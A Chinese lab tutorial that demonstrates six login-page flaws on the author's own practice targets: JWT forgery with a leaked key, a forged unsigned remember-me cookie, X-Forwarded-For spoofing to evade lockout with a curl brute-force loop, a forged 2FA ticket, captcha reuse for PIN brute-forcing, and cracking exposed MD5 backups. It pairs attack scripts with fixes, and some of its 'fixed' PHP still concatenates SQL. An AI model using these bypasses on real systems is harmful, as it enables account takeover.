首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >登录界面常见的 6 种漏洞,图文教程

登录界面常见的 6 种漏洞,图文教程

原创
作者头像
HexC2
发布于 2026-11-09 14:21:49
发布于 2026-11-09 14:21:49
1370
举报
文章被收录于专栏:渗透测试专栏渗透测试专栏

登录框是系统最小的攻击面:一个输入框、一个按钮,看起来逻辑简单,却最容易被忽略。

但它也是整个业务链中唯一一个“谁都能碰”的入口。一旦这里出了问题,后续的权限设计就可能形同虚设。

下面这六种漏洞,不是笼统地说“参数没有过滤”,而是把不该信任的东西当成判断依据:把前端文件当保险箱、把 Cookie 当身份证、把请求头当来源、把票据当凭据、把验证码当门槛、把备份目录暴露在公网。

每一章都包含三部分:真实页面表现、出错代码的位置,以及如何逐步验证漏洞。

每节开头都有对应的在线靶场地址,按文中的步骤操作可以复现结果。每个关卡都提供“漏洞版”和“修复版”,在右上方切换 Low 和 High,即可查看修复后的实现。

一、JWT:签名密钥写在前端文件里

靶场:https://hexc2.com/laboratory/targets/112

image-20261104010743919
image-20261104010743919

先看内部运维平台。登录后只有只读权限,页面右侧显示 guest;点击“管理台”时,页面提示需要管理员权限。这本身是正常设计,权限分级没有问题。

图片
图片

演示账号 guest / guest123,页面上就写着

使用 guest 登录后,控制台会显示当前身份:账号是 guest,角色是 guest,数据库中的实际角色也是 Guest。管理台栏目提示“需要管理员权限”。

图片
图片

登录成功,但只是个只读账号

这时,多数人会先试弱口令或越权接口。但更值得先看的是:页面如何判断当前用户是谁?

打开浏览器开发者工具,查看 assets/app.js:

图片
图片

第 10 行:var HX_SECRET = 'ops-portal-2024'

HS256 签名密钥被硬编码在前端脚本中,旁边的注释还写着“临时”“现在仍然是写死的”。

这意味着:签发 token 和验证 token 使用的是同一个密钥,而任何人都能下载到这个密钥。

看看服务端如何使用这个 token:

代码语言:javascript
复制
phpfunction jwt_verify(string $tok, string $secret): bool {
    [$h, $p, $sig] = explode('.', $tok);
    $want = b64u(hash_hmac('sha256', $h . '.' . $p, $secret, true));
    return hash_equals($want, $sig);
}

// 验证通过后,直接用 payload 里的 sub 认人
$u = q_row(db(), "SELECT * FROM users WHERE username='" . $payload['sub'] . "'");

签名只依赖密钥,而密钥存放在任何人都能读取的前端 JS 中。因此,任何人都可以自行签发一枚内容任意的 token。

复现三步:

  1. 拿自己的 token,解开看结构。guest 的 payload 是 {"sub":"guest","role":"guest","exp":...}。
  2. 把 sub 改成 admin,role 改成 admin,用 ops-portal-2024 重新算 HMAC-SHA256,拼回 header.payload.signature。
  3. 把新 token 塞进 Cookie hx_token,访问 /admin。

用 Python 三十秒的事:

代码语言:javascript
复制
pythonimport base64, hmac, hashlib, json

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b'=').decode()

h = b64(b'{"alg":"HS256","typ":"JWT"}')
p = b64(json.dumps({"sub":"admin","role":"admin","exp":4102444800}).encode())
sig = b64(hmac.new(b'ops-portal-2024', f"{h}.{p}".encode(), hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")

拿到令牌后,Burp 里发出去:

图片
图片

请求当中的Cookie属于伪造的情况,服务端的照单全部收取,响应里面直接就是管理台。

图片
图片

账号变成 admin,平台密钥在页面上

修复仅仅只有一个方面:密钥不能够在客户端出现。从环境的变量或者配置的文件来进行读取,前端只是拿token而不去使用密钥。

代码语言:javascript
复制
phpreturn (string)getenv('JWT_SECRET');   // 只在服务端

补充一点:只把 role 从 token 中移除、改为查库还不够。攻击者仍可伪造 sub: admin;如果服务端未正确验证用户是否存在及其状态,就可能继续产生越权问题。密钥一旦泄漏,应立即更换,并使旧 token 失效。

二、记住我:Cookie 里装的是明文身份

靶场:https://hexc2.com/laboratory/targets/113

image-20261104010802233
image-20261104010802233

第二个场景是 OA 系统。登录页提供“7 天无需登录”选项;勾选后,即使关闭并重新打开浏览器,也不需要再次输入密码。

此功能自身没有问题,关键之处在于它将什么写入了Cookie之中。

先正常登录一次,用户名为 zhang.wei,密码为 Welcome2024,并勾选“7 天免登录”。

图片
图片

标准的登录页,多了个复选框

登录成功后,服务端下发的响应头是这样的:

图片
图片

Set-Cookie 那一行:hx_remember=eyJ1Ijoiemhhbmcud2VpIiwiciI6ImVtcGxveWVlIiwiZXhwIjoxNzk0MDIxNTYxfQ

这串东西看着像随机串,其实是 base64。解一下:

图片
图片

{"u":"zhang.wei","r":"employee","exp":1794021561}

用户名、角色和过期时间都明文包含在其中,而且没有签名。

看代码会更清楚:

代码语言:javascript
复制
php$raw = json_encode(['u' => $row['username'], 'r' => $row['role'], 'exp' => time() + 7*86400]);
$val = b64u($raw);                       // [!] 只编码,不签名
setcookie('hx_remember', $val, [...]);

恢复身份时,服务端会直接用 u 查询用户,并将 r 当作角色使用:

代码语言:javascript
复制
php$j = json_decode(b64u_dec($val), true);
$u = q_row(db(), "SELECT * FROM users WHERE username='" . $j['u'] . "'");
if ($u) login_as($u['id']);

这一关比 JWT 更简单:前一关至少还要计算 HMAC,这里连签名都不需要。

复现:

  1. 正常登录一次,获取当前使用的 hx_remember。
  2. 对其进行 Base64 解码,可以看到 {"u":"zhang.wei","r":"employee","exp":...}。
  3. 把 u 和 r 都改成 admin,再将过期时间调大并重新进行 Base64 编码。
  4. 把新的值写回 hx_remember,退出登录(清掉 session),直接访问 /admin。

第 4 步的“退出登录”不能省略。服务端会优先检查 session,只有 session 不存在时才读取 Cookie;如果不先退出,当前身份仍是 zhang.wei,访问 /admin 会得到 403。

图片
图片

换掉 Cookie 之后,身份直接是系统管理员

修复时,Cookie 中只放一个不可预测的随机 ID,由服务端根据 ID 查询对应记录;或者至少为 Cookie 内容添加 HMAC 签名。角色应从数据库读取,而不是从 Cookie 中获取。

代码语言:javascript
复制
php$val = b64u($raw) . '.' . b64u(hash_hmac('sha256', $raw, $secret, true));  // 签名
$role = $u['role'];   // 角色以数据库为准

三、限速:按 IP 计数,而 IP 是客户端自己填的

靶场:https://hexc2.com/laboratory/targets/114

image-20261104010817047
image-20261104010817047

第三个场景是客服后台。这次没有提供账号,只知道管理员用户名是 admin,密码为 8 位。

登录页明确提示:连续输错 5 次后,来源会被锁定 15 分钟。

图片
图片

坐席登录,底下那行小字就是策略

8 位密码不可能靠硬猜解决,先看看页面上有没有其他线索。

页面的底部有个查看团队的介绍:

图片
图片

对外公开的联系页:姓名、账号、入职年份

页面列出了 5 名员工的姓名、账号和入职年份。比如,技术总监王芳于 2019 年入职,账号是 wangfang。

如果员工习惯用“姓名拼音 + 入职年份”设置密码(这种情况并不少见),就能整理出一组候选:wangfang2019、zhangwei2021、lina2022 等。

接下来要解决的是:如何验证这十几个候选。

直接爆破很快就会触发锁定:

图片
图片

连错 5 次,来源被锁 15 分钟

查看代码锁定是从什么维度来进行的:

代码语言:javascript
复制
phpfunction client_ip(string $lv): string {
    if ($lv !== 'high') {
        $xff = trim((string)($_SERVER['HTTP_X_FORWARDED_FOR'] ?? ''));
        if ($xff !== '') return trim(explode(',', $xff)[0]);   // [!] 信请求头
    }
    return (string)$_SERVER['REMOTE_ADDR'];
}

X-Forwarded-For 是客户端可以自行填写的请求头。服务端若直接把它当作来源 IP,就等于让攻击者自己指定来源。

这样一来,锁定机制就形同虚设:每换一个请求头值,系统就会把它当成新的来源。

图片
图片

同一个密码,加一行 X-Forwarded-For: 198.51.100.23,5 次的计数清零重来

循环跑好几个候选命中就进去:

代码语言:javascript
复制
bashfor pwd in wangfang2019 zhangwei2021 lina2022 sunlei2021 admin2018; do
  curl -s -o /dev/null -w "$pwd %{http_code}\n" \
    -H "X-Forwarded-For: 198.51.100.$RANDOM" \
    -d "login=1&username=wangfang&password=$pwd" \
    http://target/s/ratelimit-dict
done

302 的那个就是对的。

图片
图片

登录成功,管理台里的密钥

修复要同时做两件事:

第一,来源只认 REMOTE_ADDR,或者只在白名单代理后面读 XFF,并且从右往左取(最右边那一跳才是真实来源)。

第二,锁定不能只按 IP。加上按账号计数:

代码语言:javascript
复制
phpif ($lv === 'high') {
    $locked += q1($db, "SELECT COUNT(*) FROM login_fails
        WHERE username='{$u}' AND locked_until > NOW()");
}

只按 IP 锁会被绕,只按账号锁会被用来锁死别人(这一点后面还会提)。两个一起才靠谱。

四、二步验证:票据可以自己写

靶场:https://hexc2.com/laboratory/targets/115

image-20261104010829603
image-20261104010829603

第四个场景是企业邮箱。输入密码后,还要填写发送到绑定手机上的动态验证码。

这道验证看起来很难绕过:既没有受害者的手机,也拿不到验证码。

图片
图片

第一步:账号密码

演示账号是 li.na / Passw0rd!。输入后点击“下一步”:

图片
图片

第二步:动态验证码。注意页面上没有别的信息

到这里,正常的判断是:没有验证码就无法继续。不过先别急着下结论,看看第二步如何确认第一步已经通过。

抓取这个请求:

图片
图片

ticket=eyJ1aWQiOjEsInN0ZXAiOiJkb25lIiwiZXhwIjo0MTAyNDQ0ODAwfQ

请求里有三个参数:step2=1、ticket、code。

ticket 是第一步返回的,末尾没有点号、没有签名段——它就是个 base64。解一下:

代码语言:javascript
复制
json{"uid": 4, "step": "password", "exp": 1794021999}

uid 是李娜的用户 ID(4),step 表示“只通过了密码验证”。

看看服务端拿到这张票据后做了什么:

代码语言:javascript
复制
php$payload = json_decode(b64u_dec($ticket), true);   // [!] 直接解,不验签

if ((int)$payload['exp'] < time()) { ... }
// step 字段读出来了,但没人用它判断
$uid = (int)$payload['uid'];
login_as($uid);

step 被解析出来了,然后被丢掉了。真正用来认人的是 uid。

于是,把 uid 改成 1,也就是管理员的 ID。

代码语言:javascript
复制
pythonimport base64, json
print(base64.urlsafe_b64encode(
    json.dumps({"uid": 1, "step": "done", "exp": 4102444800}).encode()
).rstrip(b'=').decode())

把结果替换进 ticket,code 随便填六位(000000),发出去:

图片
图片

没有验证码也进来了,身份是系统管理员

修复分为两个层面,缺一不可:

  1. 必须验证票据的真实性。可以添加 HMAC 签名,也可以把两步验证状态保存在服务端 session 中,让客户端只持有一个不可预测的随机标识。
  2. 身份不要从票据里取。即使票据经过签名,也不该由客户端提交的字段决定“登录成谁”。第二步应读取服务端 session 中的 uid:
代码语言:javascript
复制
php$uid = (int)($_SESSION['step1_uid'] ?? 0);   // 服务端记的,改不了
$ok = hash_equals($expectedCode, $code);

五、验证码:只挡住了第一次

靶场:https://hexc2.com/laboratory/targets/116

image-20261104010845436
image-20261104010845436

第五个场景是手机银行,需要输入手机号、4 位 PIN 和图形验证码。

4 位 PIN 一共有 1 万种组合;如果验证码有效,通常很难把所有组合都试完。

图片
图片

手机号、PIN、图形验证码

先正常输一次错的:

图片
图片

PIN 错了,页面提示"手机号或 PIN 不正确",验证码那栏是空的

注意第二次提交时,即使没有填写验证码,页面也没有直接拒绝请求,而是提示 PIN 不正确。

也就是说:验证码只在第一次请求时校验,之后就一直处于“已验证”状态。

看代码:

代码语言:javascript
复制
php$verified = q1(db(), "SELECT COUNT(*) FROM captcha_issues
                      WHERE sid='{$sid}' AND verified=1");

if ($verified === 0) {
    if (captcha_mark_verified($_POST['cap'])) $verified = 1;
    else $err = '图形验证码不正确';
}
// 验证过之后,$verified 一直是 1,后面每次请求都不再看验证码

verified=1 这条记录写完就再没清过。所以只要过掉一次验证码,后面的请求都不需要它。

一万次尝试变成了一次验证码 + 一万次 PIN 猜测:

图片
图片

Intruder 跑 0000–9999,状态码 302 的那一行就是命中

在这个环境中,这种跑法大约需要十几分钟,最终得到的 PIN 是 8421。

图片
图片

进的是管理员账户

修复:验证码必须一次一用。每次尝试都要重新取、重新验,验完立刻作废。

代码语言:javascript
复制
phpif ($lv === 'high') {
    // 尝试一次就把验证码作废,下次必须重新获取
    db()->query("UPDATE captcha_issues SET verified=0 WHERE sid='{$sid}'");
}

此外,还要限制 PIN 的尝试次数,并按账号计数;超过上限后应暂时锁定账号。4 位 PIN 本身就必须设置尝试次数上限,不能指望验证码替它兜底。

六、备份目录:密码哈希躺在公网上

靶场:https://hexc2.com/laboratory/targets/117

image-20261104010859286
image-20261104010859286

最后一个看起来最不像漏洞:一个客户门户的登录页,没有任何提示,也不存在注册的入口。

图片
图片

就一个登录框,账号都不知道

这种页面第一件事不是猜密码,是看有没有别的东西没关干净。

试一下 /backup:

图片
图片

目录列表开着,两个文件

users.sql 是用户表备份,wordlist.txt 是运维自己整理的口令字典(应该是之前做自查留下的)。

打开 users.sql:

图片
图片

(1,'admin','0571749e2ac330a7455809c6b0e7af90','admin',...)

32 位十六进制,MD5,而且没有盐。

MD5 无盐意味着两件事:可以用彩虹表直接查,也可以拿字典跑。手上正好有 wordlist.txt。

图片
图片

313 条字典,一秒出结果:sunshine

登录:

图片
图片

admin / sunshine,进管理台

这一关的错不在密码强度(sunshine 确实弱),而在两件事同时发生:

  1. 备份文件放在 Web 根目录下,还能列目录。 目录列表(Options +Indexes)和 .sql/.bak/.zip 这些后缀,是自动化扫描最先撞到的东西。
  2. 密码用无盐 MD5。 换成 bcrypt 之后,同样的字典跑一年也出不来。

修复分两头:

代码语言:javascript
复制
apache# 备份文件不放在 DocumentRoot 下;真要放,禁掉目录列表和后缀访问
Options -Indexes
<FilesMatch "\.(sql|bak|zip|tar|gz|old|swp)$">
    Require all denied
</FilesMatch>
代码语言:javascript
复制
php// 存的时候用 password_hash,代价参数别省
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
// 验的时候用 password_verify
if (password_verify($input, $row['password_bcrypt'])) { ... }

这六种漏洞的共同点

把它们放在一起看,会发现问题不在"漏了什么校验",而在校验用了一个不该信的东西当判据。

关卡

判据是什么

为什么不可信

JWT

签名密钥

密钥在公网可读的 JS 里

记住我

Cookie 里的 u 和 r

客户端随手能改,没签名

限速

X-Forwarded-For

请求头由客户端填写

二步验证

票据里的 uid

票据自己能写,step 还没人看

验证码

一次性的 verified 标记

标记写进去就不再清

备份哈希

文件在不在 Web 目录

目录列表和执行权限是两回事

因此防守端实际需要问的并非是“我添加了校验有没有”,而是三个字:

这物品是由谁提供的?要是答案是客户端给予的,那就只能当作线索,不可以当作结论。IP,角色,用户ID,票据的状态,都归属于这一个类别。

对密码进行改密操作之后,旧门关闭了没有?会话记住Cookie,重置令牌,二步去验证票据这四个方面,改密的时候都得一起废掉。如同少作废一般,攻击者能够拿着旧的东西进去。

此文件为何能够被访问?备份日志. git ,. env ,上传目录等等,这些不应该处于Web根目录之中的东西,很容易被遗漏掉,而且还极易被扫描到。

登录框比较小,可是它和账号系统相连接。这六个关卡没有一个靠着复杂payload打下来,全部都是靠着多看一眼,多改字段。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

目录
  • 一、JWT:签名密钥写在前端文件里
  • 二、记住我:Cookie 里装的是明文身份
  • 三、限速:按 IP 计数,而 IP 是客户端自己填的
  • 四、二步验证:票据可以自己写
  • 五、验证码:只挡住了第一次
  • 六、备份目录:密码哈希躺在公网上
  • 这六种漏洞的共同点
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档